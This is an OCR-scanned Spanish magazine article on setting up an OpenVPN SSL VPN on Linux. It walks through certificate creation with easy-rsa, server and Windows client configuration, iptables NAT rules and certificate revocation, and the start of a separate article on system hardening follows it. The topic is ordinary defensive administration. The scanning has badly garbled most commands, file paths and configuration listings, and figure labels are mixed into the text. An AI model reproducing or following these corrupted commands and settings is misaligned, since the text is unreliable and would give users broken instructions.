Instalar y configurar una red privada virtual sobre
protocolo SSL;
Técnicas de NAT y masquerade con el firewall
Linux IFTables;

« Generar certificados con las utilidades de QOp-
enVPN ulilizando OpenSSL.

Lo que deberias saber...

* Administracion de red y enrutado;

www.hakin9.org

* Certificados digitales;
*  |PTables.




Instalacion y configuracion de OpenVPN

« Firewall Externo. Con dos tarje-
tas de red , una nos conectara
a Internet, con la IP 1111 v
ofra que nos conectara a la red
local de servidores con la IP
192.168.20.2;

» Terminador de Tuneles VPN. En
esta maquina realizaremos las
instalaciones de software, con
sistema operativo Linux y con
IPTables instalado;

= Servidores de la empresa. En
ellos se encuentran las Bases
de Datos corporativas, los ser-
vidores de ficheros, etc. Todos
los host tienen una IP del rango
192.168.20.0 / 255.255.255.0.

Para su implementacion utilizare-
mos el producto OpenVPN 2.0.5
http:openvpn.net! con su interfaz
grafica para los clientes windows
OpenVPN GUI v.1.0.3 for Windows
http.//openvpn.se/

En la instalacion utilizamos las
versiones OpenVPN 2.0.5 (la version
actual para descarga es la 2.09) y
OpenVPN GUI 1.0.3.

Instalacion

y configuracion

del servidor

En el servidor del Terminador de
tineles VPN, en la direccion IP
192.168.20.2, realizaremos la ins-
talacion de los paquetes software
necesarios. En la maguina ejemplo
disponemos de una distribucién Li-
nux Fedora Core 4, basada en Red
Hat, La autenticacion de los clientes
gue se conectaran la realizaremos
con certificados X509v3 que creare-
mos gracias a OpenSSL, que debera
estar correctamente instalado en el
sistema. OpenVFPN dispone ademas
de una serie de scripts que nos
ayudaran en la creacion de dichos
certificados.

Instalacion de los paquetes
OpenVPN

Para comenzar la instalacion nos
descargamos de la pagina web de
OpenVPN, kttp:Yopenvpn.net/down-
load htm!, el codigo necesario,
concretamente el fichero openvpn-
2.0.x.targz

Una vez descargado el fichero lo
copiamos en un directorio de trabajo,
por ejemplo en fopttmpdvpn.

Para distribuciones basadas en
paguetes RPM, a partir del codigo
fuente generamos el fichero RPM
correspondiente con las ordenes:

epmbuild =th
cpanvepn=2.0.%. caz.gz

Dicha construccion nos revela que
necesitamos dos paguetes RPM
que no estaban instalados en la
madquina, lzo-1.08-4.1.fc3.rfi386.rpm
¥ lzo-devel-1.08-4.1.fc3.rfi386.rpm
Ambos paquetes se pueden des-
cargar, por ejemplo, de htip:Y

rpmfind.nel/linux/RPM/index. html
realizando una busqueda por |1zo vy
lzo-devel. Se descargan en el di-
rectorio fopt/tmp/vpn v se instalan
ambos paguetes con las ordenes:

rpm -i foptStmp/fvpnd
lze=1.08=4.1.fc3.cf.i386.rpon

rpm -i foptftapSvpn/
lzo-devel=1.08=4.1.fed. pf. 1386. rpm

después se vuelve a ejecutar la orden;

rpmbpild -th

openven-2.0.5.tar.gz

gque nos genera el paquete de insta-
lacion en:

| Listado 1. Crear los cerlificados para el servidor

BaSy=-rsa parameter settings
HOTE:

don"t &die this file in place in

If you installed from an REM,

fasrfshare/opanvpn/easy-rsa —

instead, you should copy the whele
{such as /etc/openvpn) so that your

Cpen¥PH package upgrade.
This wariable should point te
the top level of the sasy-raa
tree.
export D= "pud
| @ This variable should point to
# the openssl.cnf file included

| # with RS o

BEpOTE H!T_CEHF!E 0 /opanssl .enf
Edit this wariable to point Eo
your Zoon-to-be-created key

directory.

WARMING: clean-all will do
a rm =rf on this directory
g5 make sure you define

# it correctly!

export KEY DIR=5D/keys

# Issue rr -rf wazning

- W . e -

GASY-TSA QiTeCLory TO another locatian

edivs will mae be wipad ocut by & future

eche HOTE: when you run .Sclesn=all, I will be doimg & rm =zf on SHEY DIR

Increase this vo 2048 if you
are paranofld. This will slow

45 well as the cne-time DH parms
JeNeEation process,
expork ﬂEE_;]I!":.:J

L]
L]
§ down TLE pegotiation pecformance
#
i

# These are the default wvalues for fields
¥ which will be placed in the cercificace.
# Don't leawe any of these fields blank.

exporh REY COUNTRY=ES

export EEY PROVINCE-Madrid

export KEY CTITY-Madrid

export RET_EEG-‘SFQ:T?H-E:1:3'

export KEY EMAIL="cjimenezfecija.com™

s,

—— = —
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fuscisrofredhac /RPMS S
386 openvpn=2.0.5=1. 5386, cpm

Copiameos dicho paguete al directo-
rio foptitmpsvpn e instalamos com:

fpm -1 foptS/tapfepn/

openven-2.0.5-1.1386.xpa

Generacion de claves

y certificados

Una vez instalado el siguiente paso
que haremos serd crear los certifi-
cados para el servidor, los cuales
serviran para autenticar y cifrar los
lunes SSL.

Nos movemos al directoric de
las utilidades para crear los cer-
tificados, que tras la instalacion
se encuentran en Jusrshare/doc/
openvon-2.0.5/easy-rsa/

ed fusrfshare/doc/openvpn=2.0,. 5/ easy-

csal

Una vez en el directorio crearemos
primero los cerlificados para la CA
encarga de emitir los certificados
de los clientes. La CA (Certification
Autority) sera el cerlificado raiz de
los certificados emitidos, de manera

-

Cliante
IF2222
IPvpn 10.8.0.3

Firewall axtermo

Firawall
IPTables

=y -

—Ti- Tusreiel WP

IP 192.168.20.2

que nuestra autenticacidn se basa-
ra en la premisa de que cualquier
cerlificado emitido por dicha CA
podra establecer un tdnel VPN-SSL
con nuestro sistema. Comenzamos
modificando el fichero var, existente
en el directorio en el que nos encon-
framos:

vi var

modificamos el contenido del mis-
mo de manera que aparezca de la
siguiente manera (Listado 1).

Los Unicos dalos que modifica-
mos del fichero original son las 5
ultimas variables que en el aparecen
de manera gue al generar los certi-
ficados, los campos de los mismos
nos aparezcan rellenos con los valo-
res indicados.

Procedemos a crear el certificado
de CA con las siguientes drdenes:

. «fvars
Jelean=-all

-fbuild-ca

Tras esto nos realizard una serie
de preguntas para completar el
certificado. En el campo common

name ponemas, por ejemplo Open-
VPN-CA

Tras esto generamos los certifi-
cados del servidor firmados con la
CA que acabamos de generar:

-fbuild-key-server server

Las preguntas son similares a las
anteriores para el valor Commaon
Name ponemos, por ejemplo,
server, sin comillas. Para la las si-
guientes preguntas, Sign the cer-
tificate? [y/n] contestamos y sin
comillas, para firmar el certificado
de servidor con el certificado de
la CA que hemos generado y para
la pregunta 7 out of 1 certificate
requests certified, commit? [y/n]
tambign contestamaos v.

Por ultimo en el servidor genera-
mos los parametros Diffie Hellman,
utilizados en el tinel SSL, dnicos
para el servidor.

fbuild-dh

Una vez creados todos los ficheros
necesarios estos se alojan en /usr/
share/doc/openvpn-2.0.5/easy-rsa/
Keys.

Red da sanvidoras
192_168.20.0 f 255 255,255.0

IP 182, 168.20.12

Terminadar da lunal VEM - S5L
+ IPTables

IP 192.168.20.10
IPvpn 10.8.0.1

Figura 1. Instalacion y configuracion de OpenVPN
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Instalacién y configuracion de OpenVPN

Configuracion del
terminador de tuneles

El siguiente pasoc es configurar el
servidor de tineles. Para ello crea-
mos el directorio fetc/openvpon:

akdir Sfetcfopenvpn

ya que es el directorio que buscara
por defecto para los ficheros de
configuracién cuando se arran-
que el servicio desde /fetc/nit.d/
openvpn y copiamos los ficheros de
ejemplo de configuracion, que que-
dan instalados con el RPM anterior
en la ruta /usr/share/doc/openvpn-
2.0.5/sample-config-files/:

¢p fusz/share/doc/openvpr=2.0.5/
sanpla-config-files/sezver.conf /
arefapenvpn

Una vez copiado el fichero lo cam-
biamos para que refleje la configu-

racion que aparece en el Listado
2 y 2a, en la cual solamente se
reflejan los campos utilizados y los
cambios mas habituales que nece-
sitaremos acfivar posteriormente.
Los comentarios comienzan con #

o con,
vl Jfece/openvpn/server.conf

En esta configuracion vemos varios

campos interesantes:

« port 10080 Puerto por el que
escuchara nuestro servidor de
tuneles;

= proto udp, con dicha configuracion
utilizaremos nuestro tinel con pa-
quetes UDP en lugar de TCP. Si
bien TCP, con el reenvio automa-
tico de paqueles, garanliza la en-
trega de los mismos, el protocolo
UDF nos garantiza transmisiones
mas ligeras que mejoraran el ren-
dimiento en caso, por ejemplo, de

que se trabaje con ficheros en red
de gran tamanio;

ca felc/openvpn/keys/ca.crt Certi-
ficado de la CA emisora de certifi-
cados;

cert fetc/openvpn/keys/server.crt
Certificado del servidor de Tune-
les:;
key/etc/openvpn/keys/server key
Clave privada asociada al certifi-
cado del servidor de tuneles;
server 10.8.0.0 255.255.255.0
Direcciones IP (ip y mascara)
para la asignacion de IP de tunel
a los clientes;

push route 192.168.20.0
255.255.255.0 - Con la opcidn
push podemos establecer en
los clientes, cuando inicien la
conexion, rutas para los pague-
tes, que se estableceran auto-
maticamente. De esta manera
cuando un cliente conecte con
nuestra VPN establecera en el

r
i

Listado 2. Configurar el servidor de tuneles

PRERRRRRA R R AR R ARG AR R Fa BB add g
Sample OpenVEN 2.0 confly file far o
sulti-client server.
'
This file is for the server aide
of a many-clients <-» one-secver
OpanVEH configuration. i
¥
OpenViH also supporcs
single-machine <=-> single-machine 4
configurations (See the Examples paoe L]
on the web site for mope infob. #
[}
This confly should work on Windows i
or Linux/B50 systems, Remamber on |
Windows to gquote pathnames and use §
double backslashes, e.9.: i
"Ci\\Proagran Files
L]
¥ Commants aze precedsd with 4" or *;' #
L R L R R R eeeys
§ Which TCPSUDF pese shauld OpenVEH listen on?
# If you wamrt to run multiple OpenVPM instances
# on the sasé machine, use a different port
§ number for each cne. You will need to
# cpen up this porr on your firewall,

Cman PN

corfigh\ foo. key™ §

T e e

poct LLOE

P TCPF ar UDP secver?

proto udp

§ “dev
§ “dey
# Uze “dev tap" if you are ethernet bridginmg.
§ If you want to control Aaccess policies

# over the VPH, you must creakte flrewall

tum” will create a routed IF tunnel,

tap™ will create an ethecnet tunnel.

¥ rules for the the TUR/TAP Lfmterface.

& On nen-Windows =yseems, you can give

# an explicit umit number, such as tund,

§ On Windows, use "dev-node™ fox this.

# On most systess, the VPN will not function
¥ unless you partially or fully disabla

¥ the firewall for che TUNS/TAP incerfaca.

vy Eumn

S55L/TLS oot certificate [ca), cectificate
{oecth, and private key [(keyl. Each clienmt
and the server must have thelr swn cerr and
key filg. The server and all clients will
use the sa=e ca file.

See the "easy-rsa™ direcrvory for a series
of scripre for generating RSA certificates
and private keys. Remember bo use
a unigue Common Mame for the secver
and sach of che client certificates.

Any X509 key management system can be used,
OpenVFH can Alse use a PHCS #12 formatted key flle
[zee "pkcsll® directive in man page).

- e W W W W W W O O O e e .

ca fetcfopenvpn/skeysSca.crt

cert Setc/openvpn/keyaSserver.crt

¢ Thiz fle should be kept seccet

key fevc/openvpn/keysfserver. key
jerl-varify Jfetc/openvpn/keys/orl.pen

f Diffie hellman parameters.

# Generate your own witch:

# openssl dhparar =oue dhl024.pen 1024
# Substlitute 2048 for 1024 if you are using
& 2048 bit keys.

dh Jetc/openvpn/Skeys /S dhl024. pen

www.haking.org




' Defensa

mismo una rute indicandole que
los paguetes con deslino a la
red 192.168.20.0 255.255.255.0
deberan enrutarse por la interfaz
asignada a la VPN,

push dhcp-option DNS 10.8.0.1
- Esla opcidbn nos permite
asignar direcciones para los
servidores DNS (y WINS) en
los equipos clientes. Si nuestra
organizacion uliliza un servi-
dor interno DNS para resolver
nombres de maquinas internas
deberemos activar esta opcidn
indicando la direccién IP del
servidor de DNS (WINS) inter-
no. Esta comentada en el fiche-
ro anterior;

client-to-client Esta opcidn, al
descomentarla, permitird que los
clientes de la red VPN puedan
comunicarse entre ellos directa-

mente, haciendo referencia a las
IP asignadas a cada uno en el
tinel VPN,

« comp-lzo Con esta opcidén acli-
varemos la compresion de los
pagquetes enviados por el tinel
VPMN. Si bien esta opcion pena-
liza ligeramente el rendimiento
del servidor, en clientes con
conexiones lentas ahorra bas-
tante tiempo en la descarga de
ficheros de gran tamaifo.

Con esto el servidor queda confi-
gurado para atender las peticiones
de tuneles por el Puerto 10080
UDP, dejando de esta manera los
ficheros de log alojados en Avar/
log/fopenvpn.fog.

Después copiamos los ficheros
criptograficos generados al directo-
rio definitivo:

mkdir fere/fopenvpn/keys
cp fusrfshare/doc/
openvpn=2.0.5/easy-rsafkeys/
ca.cet  fecc/openvpn/keys/ea.cot
ep fusrfshare/doc/openvpa=2.0.5
feasy=rEa/keys/ seEver . crt
fatc/openvpn/keys/server.ort
cp fusrfshare/doc/opanvpn-2.0.5/
dasy-rsafkeys/secver. key fetc/
apanvphfkeys server . kay
ep fuzrfzhare doc/
openvpn=2.0.5% easy-raa/keys/f
dhli4.pan Sferc/opanvpn/
keys/dhl024.pem

y activamos el autoarranque del de-
Monio openvpn:

checondig openvpn on

Para iniciar finalmente el servidor
ejecutamos:

Listado 2a. Confinuacidn de configuracién del servidor de ldneles

f Conflgure szesver mode and supply a VPN submet
f for CpenVPFN to draw clienmt addresses from.

& The server will take 10.8.0.1 for itsall,

i b made available to clients.
i

U Tt [
=ACn Cai80h Wiaa

Ehe rest will
te able to reach the server

# on 10.8.0.1. Comment thiz line out if you are

f scnercner bridging. See the man page Lor more info.
pErer DOLE.0.0 F5E.255.255.0

& ¥aintain & record of clienmt <-> wirtoal IF address
# gasgciations in this [Hle. If OpenVPH goez dewn or
# i3 restarzed, reconnecting clients can be assigned
# the same virtual IP address from the pool that was
i praviously assigned.

ifconfig-pool-parsist ipp.tat

Fush routes to the client to allew it

o eeach ather privaté subnets behind

the server. FRemembar that these

private sobnets will also need

to know to rocte the OpenVPN client

adderess pool [10.6.0.0/28%8, 255 28E.0)

§ back te the OpenVEH secver.

push “route 192-16E.20.0 £33.235.255.0"

& Ceztain Windows-specific network settings

i can ba puahed to cliencs, such as DS

# or WINS server addresses. CAVEAT:

i heep://openvpn.nee/fag. healidhepeavears

jpush "dhcp-oprion DHS 10.8.0.1"

push "dhep-option WIKS 10.8.0.1°

Urcomsent this directive to allow diffecenc
clients to be able ko “see® sach other.

By default, clients will only =see the server.

To force clients to only see the Server, you

will also nied to appropriately firewall the
sarvar's TUN/TAP interface.

;elisnt-to-client

# The kespalive directive cauvses ping-like

= T W W W W

# ke link sa that e&ch side knows when
# the cther side has gone down.
# Ping evesy 10 seconds, assume that zemote
L] r ia down if mo ping recsived during
& & 130 second tinme pericd.
keepalive 10 120
¥ Ennble compression on the VPW link.
F If you enable it here, you muat alao
# epable it in the clienc conily flie.
comp-lzo
§ The persist options will tzy to awvoid
F accessing certain resources on restart
# that may no longer be accessible because
i of the privilege downgrade.
parzist-key
persist-tun
# ODutput a short atatus file ahewing
f current connections, truncated
# and rewriteen every minute,
SLALMS OpeRvpR-status.log
¥ By default, log méssages wlll 9o to the syslog log
§ on Wipdows, if cunning as a s3ervice; they will go to
f the "\Preogram Files'\OpenVPH\lsg® directory).
# Uze lag o log-append te everride thiz defasle.
# "log™ will eruncate the log file on OpenVPH startup,
# whils "log-append” will append te it. Use ope
# or the other (but neot both).
log-append Svaz/loglopanvpn.leg
Sat the appropriate level of log
file verboaity.

4 is reasonmable for general usege
5 and & can help to debug connection probless
% is extremaly verbose

werD 4

L]
L]
i
# 0 is silent, except for fatal erzors
]
L
i

# messages to be sent back and forth over

L% J

www.hakin9.org




Instalacion y configuracidn de OpenVPN

fece/init.d/openvpn starct

Una vez hecho esto podemos ob-
servar como se activa una nueva
interfaz de red tun0 al ejecutar el
comando ifconfig:

achil P
| R
tunl Link encap:UHNSPEC
Hinddr AR-BE-CC-DD-EE-
FF=GG=HH=00=00=00=00=00=-00-00-00
inet addr:10.B.0.1
F-e-F:10.8.0.2
Mask:2505.255.255. 255
Ve POINTOPOENT

EUHHING BOARP

MULTICAST MTU:I500 Metric:l
BX packerz:1E3B7 errars:d

deoppad:0 overruns:0 frame:0
TK packetrz:17403 errors:0

droppad:Q owverruens:l0 carzier:d
callisfons:0 exqueuelen:lO0

EX byres:346B905 {3.3 MiB)
X byces:4151906 [3.% MiB)

Configuracion de enrutado
y firewalls iptables en el
servidor de taneles

El servidor de tineles necesita,
para permitir el acceso a la red
interna de servidores, dos modi-
ficaciones, lo primero es permitir
el reenvid de paquetes IP desde
la interfaz tun0 hasta eth0. Para
ellc modificamos el fichero /fete/
syscll.conf poniendo a 1 el valor
de reenvio de paquetes:

# Controlas IP packer forwarding

net.ipvd.ip forward = 1

La siguiente accién permite enmas-
carar la subred de la VPN, 10.8.0.0/
24, hacia la interfaz ethD, para ello
realizaremos un MASCARADE me-
diante IPTables de las |ps modifican-

do el fichero Jfetc/sysconfig/iplables
0 lanzandolas desde la linea de
comandos de manera que el fichero
final contenga las siguientes reglas
de firewall:

# Ganarated by iptablez-sawe vwl.2.11
an Tha Dec 29 09:41:01 2005

*nat

:FRERDUTING ACCEPT (5712:1130877]

1 POSTROUTING ACCEPT [3926:257765]
:QUTPUT ROCEPT [3996:2571764)

=h POSTROUTING -5 10.8.0.0/

233.255.253.0 -¢ ethl -j MASQUERADE

COMMIT

f Completed an Tha Dec 2% 09:41:01 2005

Configuracion del
firewall Externo

En la maquina del firewall externo
(1.1.1.1 de ip , ficticia, en Internet)
debemos activar las reglas del
firewall correspondientes para per-
mitir el NAT hacia el servidor de ti-

Listado 3. Instalacién del soflware

L TR R R R T T NT ]
Sample client-side OpenVEN 2.0 condlkg file #
for conneacting to multi=client server. ]

i
This conflpuracien can be uzed by sultiple #
cliants, howewer sach slisnt sheuld have 4
its oun cezt and key files. 4

i
# 0n Windows, you might want to rename this &
# file =0 it has & .ovph extension ¥
L LR R R R R L L R R R R L]
# Specify that we ace a client and that wa
# will be pulling cectain config ffle directives
# from Che server.
client

- O A e

¥ Uze the same setting as you ase using om

# the zérverc.

# On most systems; the WFN will not funcrion

# onless you pactially eor fully disable

# the firewall for tha TOHSTAP interface.

dew Eun

# hre we connecting to & TOP of

¢ U0 secver?! Use the same setting asz

# on the server.

prokte udp

¥ The hoscnamefIP and port of the server.

¥ ¥ou can have multiple cemote entries

¢ to load belance between the servers.

regmote 1.1 L.E LOOBO
| # Eetp trying indefinicely te resalve the

# host name of the OpenVEH server. Wery useful
| # on machines which ace not pecmanently conneacted

¥ to the intecnet such as laptops.

résolv-retry indfinita

¥ Most clients don'c need to bind Eo

I a specilic local poct nunber.

robind

f Try Lo presesve SoBe SCADE ASFOSS rESLArEs,

parsisc-hay

peralst-tun

i If you are connecting thoough an

¢ HTIP prouy to reach the actual OpenVER

i server, put the proxy server/IP and

i pore number here. Ses the mén page

b if your prony server requires

b authentication.

ihttp-proxy-recry # recry on connection failures

ihitp-proxy [proxy secves| [proxy poct ]

& Wireless networks ofeen produce a lot

# of duplicate packets. Set this flag

f eo silence duplicate packet warnings,

rmute-ceplay-warninga

SEL/TLS parms.

See che server config file for sore

deaceipeion. It's best to use

2 separate .cctf.key file pair

for sach client. A single ca

file can be used for all clismes.

ea "C:h\\Archives de prograsa’\OpenVEH\\configh '\ keysh)
Ca.CcEL™

cert "C:ilWArchives de prograsa’\OpenVFN\\oconfg'\keyaih
nombre dal vsuaris.crt®

key “C:'iArchives de programa’’\OpesVEN\\ecsnfiq) \keysl
namnee del vauseio. key®

§ Enable compressicn on the VEH link.

# Don't enable this unless it is alaso

# enabled in the secver confly fls,

comp-lzo

# Sat log file werbosity.

varb I

e W A e ol ol

www.hakin8.org
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Figura 2. Instafacion
y configuracién de OpenVPN

neles, ya que este se encuentra an
la red interna, para ello afiadimos
las siguientes reglas al fichero de
configuracion de iptables:

=k PREROUTING -d 1.1.1.1
=p wip -m wdp --dport 10080 =4
DHAT -to-destinatlien
192.168.20. E0:10080
-k FORKARD -d 1.1.1.1 =-p
udp =-m udp =
~dport LOOBO -3 ACCEPT
=h FORWARD -d 192.168.20.10
=g odp -m udp --dport 10080 =4 RCCEPRT

Instalacion

y configuracion de los
clientes

Para la instalacion en los clientes
Windows necesitamos el paquete
de instalacion que se descarga des-
de http:/Yopenvpn.se/download hirml
con el nombre openvpn-2.0.5-gui-
1.0.3-install.exe.

La inslalacion es muy sencilla,
simplemente ejecutando el fichero
&xe y siguiendo las indicaciones
gue en el asistente se dan.

Generacion de certificados
clientes, protegidos por
contrasena

El primer paso consiste en la gene-
racion de los certificados de cliente
para permitir la conexidn, para
ello nos situamos en la magquina
del terminado de tdneles, en el
directorio /usr/share/doc/openvpn-
2.0.5/sasy-rsa/ y ejecutamos las
siguientas ordenes:

cd JSusr/share/docs
openvph=2, 0.5/ easay-rsa/

- AVALS

«fbuild-key-pasa
nombre_del usvarie

Donde nombre_del_usuario es el
nombre del usuario para el que se
crea el certificado. En la creacién
del certificado se pregunta por la
contrasefia con la cual cifrar el certi-
ficado. Dicha contrasefia se pregun-
tara a la hora de hacer connect en el
cliente de OpenVPN. En el campo
Common Name es util indicar la
direccion de correo electrdnico del
cliente, por ejemplo nombre_del_
usuario@dominio_empresa. Cada
cartificado debe crearse de manera
Unica para cada usuario.

Una vez generados los certifi-
cados se obtienen 3 ficheros para
cada usuario en el directorio Jfuse/
share/doc/openvpn-2.0.5/easy-rsa/
keys{ en este caso, nombre del
usuario.crt, nombre_del_usuario.csr

y nombre_del_usuario.key El primer
fichero contiene la clave publica del
certificado firmada por la CA del ser-
vidor, el segundo es la peticion del
certificado, que no necesitaremos ya
que solamente lo utilizariamos en el
caso de que la CA no estuviera ya
en nuestra maquina, y el tercero que
contiene la clave privada de dicho
certificado.

Estos tres ficheros y el fichero
que contiene la clave publica de |a
CA del servidor ca.crt, se distribui-
ran al cliente que se conectara en
remoto.

Instalacion del software

La instalacién del software pasa por
ejecutar el fichero openvpn-2.0.5-gui-
1.0.3-install.exa en la maquina cliente.
Una vez aceptadas las opciones por
defecto de la instalacién se creara el
directoric C:\Archivos, de programal

-

Wed Dac 28 1T7:34:44 2005 us=&5814% B

"

C=ESS ST=Madrid/O=CpanVEH-Ecija/OU=Ee] jaconsulting/CHenonbre del usvaris /
emilihddress=noobre_del vsuvaricfdeminio.espresa is REVOXED

Wad Dec 2B LT:34:44 J uz=bF8272 B0.25.1

tls_read plaintext ercor: error:l4089082:350 routines

i55L3_GET_CLIENT CERTIFICATE:no cestificate recurned

Listado 4, Acceso al servicio con el certificado revocado

el CRL CHECK FAILED: /

{ TLS ERROE: BIO zead

Hed Dec 28 17:34:44 05 us=gg ;60677 TLE Errar:
TLE cbjeck -* incoading plaintext read erre:s
Wed Dec JB 17:34:44 2005 us=588353 80.25.108.155:60€77 715 Error:
TLE handshake falled |
. o
|'*"‘--' =l 3 e PR AR v D G -il-l
| f] /
Bt

s g o
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Figura 3. Pégina oficial de FreeS/WAN
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Figura 4. Pagina web de Open VPN

OpenVPN vy los correspondientes en-
laces en el mend inicio. Nos movemos
al directorio C:AArchivos de programal
OpenVPN\config y sobre el creamos
el directorio keys dende almacenare-
mos los certificados del cliente. Una
vez creado copiamos los ficheros
nombre_del usuario.crl, ca.crt y
mombre_del_usuario key al directorio
C:\Archivos de programa\OpenVPNI
config\keys. Creamos despues el
fichero client.ovpn en el directorio CA
Archivas de prograrma\OpenVPN\con-
fig con el siguiente contenido (Listado
3). Una vez configurado dicho fichero
conectaremos con la VPN ejecutando
la opcion connect que podemos en-
contrar en la barra de tareas dentro
del programa openvpn. Al conectar
nos preguntard la confrasefia con la
que hemos cifrado el certificado en
el momento de generarlo, que habra
sido facilitada al cliente en el momento
de [a entrega de los certificados.

Revocacion de los
certificados de clientes
Por dltimo, si necesitamos revocar los
certificados entregados a alguno de
los clientes, utilizaremnos las siguien-
tes drdenes de la linea de comandos
en el terminador de Wneles VPN:

cd Sfusessharefdocs
gpenvpn-2.0.5/eany=-zan/

. «fVAES

fraveke—foull nosbre del uasario
cd keys)

co crl.pem fetc/openven/keys/

Donde nombre_del_usuario s& debe
suslituir por el nombre del usuario a
revocar. Después descomentaremos
la linea de configuracion del servi-
dor, si se encuentra comentada;

sopl=vepify feve/

coenwvepnSkeysferl . pem
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Dejandola sin el; al principio de la
linea:

cel=werify fetcs

opervpn/ keysferl. pan

Reiniciamos por dltimo el servicio de
OpenVPN:

fevcfinit.dfopenvpn cestact

Los intentos de acceso al servicio
con el certificado revocado queda-
ran reflejados en el fichero de log
MNarflog/openvpn.log de la manera
presentada en el Listado 4.

Conclusion

OpenVPN es un servidor de tineles
VPN - SSL de gran versatilidad que
nos permitird extender nuestra red
local, de manera segura, a lo largo
y ancho de todo el mundo. Nuestros
colaboradores o empleados ya no
necesitaran desplazarse hasta nues-
tras instalaciones para acceder a los
recursos de la red local.

Para los administradores de sis-
temas es especialmente Otil, evitando
desplazamientos a altas horas de la
madrugada, ya que las harramientas
de administracidn de los servidores,
asi como conexiones Terminal Server
0 S8H se realizan sobre la VPN sin
ningun problema.

El cliente para terminales Pocket-
PC, aun en desarrollo, pero totalmente
funcional, (hftp:Awww. Ziggural29.com/
OVPNPPCAIpha/OVPNPPC-
Alpha.htm) amplia adn mas el abanico
de posibilidades de conexion con la
red local de la empresa, permitiendo
que los administradores de red pue-
dan responder desde su bolsillo a las
urgencias que dia a dia se presentan.

Por dltimo, aungue el ejemplo que
presentamos es Olil para empresas
que quieran establecer una VPN a un
coste realmente bajo, también existe
la posibilidad de trasladar el mismo
modelo para acceder desde cualquier
conexitn a Internet (por ejemplo des-
de el trabajo) a la red de casa, que se
encuentra tras una conexion ADSL o
permitir a nuestros amigos el acceso
completo y seguro a la misma jjjTodo
un mundo de posibilidades!!! &
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Hardening de sistemas en
entornos corporativos

Sancho Lerena :

Grado de dificultad
e

.-'"

nales, como firewalls, antivirus, detecto-

res de intrusidn y una infinita gama de
posibilidades respecto a las distintas arguitec-
luras, marcas y caracteristicas, pero lo primero,
y a veces mas importante, s ajustar la seguri-
dad de nuestros sistemas operativos, ya que tal
como los entrega el fabricante, generalmente no
son nada seguros.

Esta labor, a veces ingrata ya que no es muy
visible ni genera un resultado especlacular, se
denomina asegurar o hardening de sistemas,
consiste en paramefrizar adecuadamente y con-
figurar las mdltiples caracteristicas de seguridad
de nuestros sistemas operativos, de nuestro ker-
nel y de las aplicaciones que estan ejecutandose.
Es una tarea que se caracteriza por que:

I uego, implementaremos medidas adicio-

* Requiere un alto grado de conocimiento de
sistemas;

« Es necesario estar continuamente actuali-
zando los sistemas;

-  Mos es imprescindible tener privilegios de
administracion;

- Cada sistema se asegura de una manera
determinada, lo que vale para una plata-
forma es diferente para otra arquitectura

wiwrw haking.org

Segun el CERT (Center of Internet Security Expertise, Carnellie
Mellon University) una de las primeras tareas a realizar cuando
nos enfrentamos a la ardua tarea de implementar seguridad en
cualquier red de sistemas heterogéneos, es precisamente la tarea
de ajustar la seguridad de estos sistemas.

diferente, por ejemplo, GNU/Linux de Win-
dowsTM, o AIXTM de SolarisTM;

« Hoy en dia es muy complicado encontrar
gente con perfiles de seguridad que ade-
mas tengan tantos conocimientos de siste-
mas y en diversas arquitecturas;

«  No existen muchas herramientas que sir-
van para estos propositos.

Metodologia
Hay una serie de pasos previos que son con-
vanientas tenerlos en cuenta para una correcta

p
En este articulo aprenderas...

+ Diferentes técnicas sobre securizacidn de sis-
temas v la mejor manera de llevarlas a cabo,
mediante un repaso general a los diferentes
aspecios del hardening;

Se hablara de las principales herramienias del
mercado.

Lo que deberias saber...

«  Conocimientos medios sobre Sistemas Operati-
vog v seguridad.
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Figura 1. Ajustar la seguridad de nuesiro sistema operalivo

puesta en marcha de un sistema.
Preferiblemente, se deben realizar
todas las operaciones indicadas en
este documento sobre un sistema
que esté completamente aislado
de cualquier red. Esto puede difi-
cultar las tareas de administracion,
revision e instalacidn. Entonces, se
recomienda como minimo no conec-
tar este sistema a una red insegura
hasta que todos los pasos de este
documento hayan sido revisados.

Ademas, se debe saber con exac-
titud los requerimientos de servicios
que necesila |a aplicacidn gue se va
a instalar en el sistema, dependien-
do de los requerimientos que tenga
sera necesario realizar unas opera-
ciones u otras. Seria bueno conocer
a priori gué servicios y aplicaciones
deben de estar activas en el sistema,
los scripts de arranque y parada de
eslos servicios y aplicaciones, y los
puertos utilizados.

Instalacion de Sistema
Operativo

Es importante que la instalacidén de
un nuevo sistema sea realizada en
un entorno considerado sequro, tan-
to a nivel fisico como desde un punto
de vista logico, ya que si desde el
principio de la instalacidon podemos
estar sujetos a alguna posibilidad de
intrusion esto puede invalidar total o
parcialmente el trabajo de seguridad
y/o la instalacion posterior.

La instalacidn de un sistema es
uno de los pasos mas importantes a
la hora de robustecer un sistema. Se
recomienda encarecidaments una ins-
talacion limpia para no heredar ningin
problema de sequridad. Si se ha ele-
gido el proceso de instalacion por de-
fecto, existen diversos paguetes que
pueden considerarse candidalos a
ser eliminados, pero hay que tener en
cuenta gue un sistema generalmente
se utiliza para cumplir un rol especifi-

co, @5 decir, no suele ser un servidor
multifuncién, desde el punto de vista
de la seguridad, lo idoneo es reali-
zar una instalacion a medida de las
necesidades de nuestro servidor, sin
utilizar elementos de software inne-
cesaros, ya que cuando mas software
tengamos, existen mas posibilidad de
tener un problema de segquridad, o
bien por una intrusion deliberada, o
bien por una mala configuracion. Para
ello lo idoneo es partir de |a instalacion
minima y afiadir los paquetes que
sean necesarios. Es necesario pun-
tualizar que algunos paguetes, como
la documentacion online {paginas del
man) son muy recomendables en la
instalacion de cualquier sistema y no
reprasentan un riesgo de sequridad.

Grados de seguridad

Existen diferentes grados en la
seguridad de cualquier sistema, y
vamos a contemplar tres grados de
sequridad:

« Bastion Host, o host conectado
sin proteccion externa a la red;

0 W O e gy

Fl Cartibed Security
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+ DMZ Host, o host con servicios
puablicos;

Otro, protegido por un sistema in-
termedio y sin servicios publicos.

Bastion Host

Un bastidn host es un sistema que
s& encuentra & la infemperie desde
el punto de vista de la seguridad, es
decir, totalmente expuesto a lo que
pueda venir desde la red. No existe
ningdn sistema gue provea algo de
seguridad delante suya, esta solo
ante el peligro. Un sistema asi se debe
proteger por si mismo, y biindarse al
maximo. Un bastion host nunca de-
beria tener informacion confidencial,
porque partimos del hecho de que es
un sistema totalmente sacrificable, las
Unicas objeciones que podemos tener
&5 por el hecho de la disponibilidad del
servicio, nunca por la integridad ni por
la confidencialidad de los datos.

DMZ host

UIn servidor que provee servicios pu-
blicos, pero que esta protegido por
un sistema intermedio, como puede
ser un firewall, un proxy inverso o
un sistema intermedio de comunica-
cign. Son host que por el mero he-
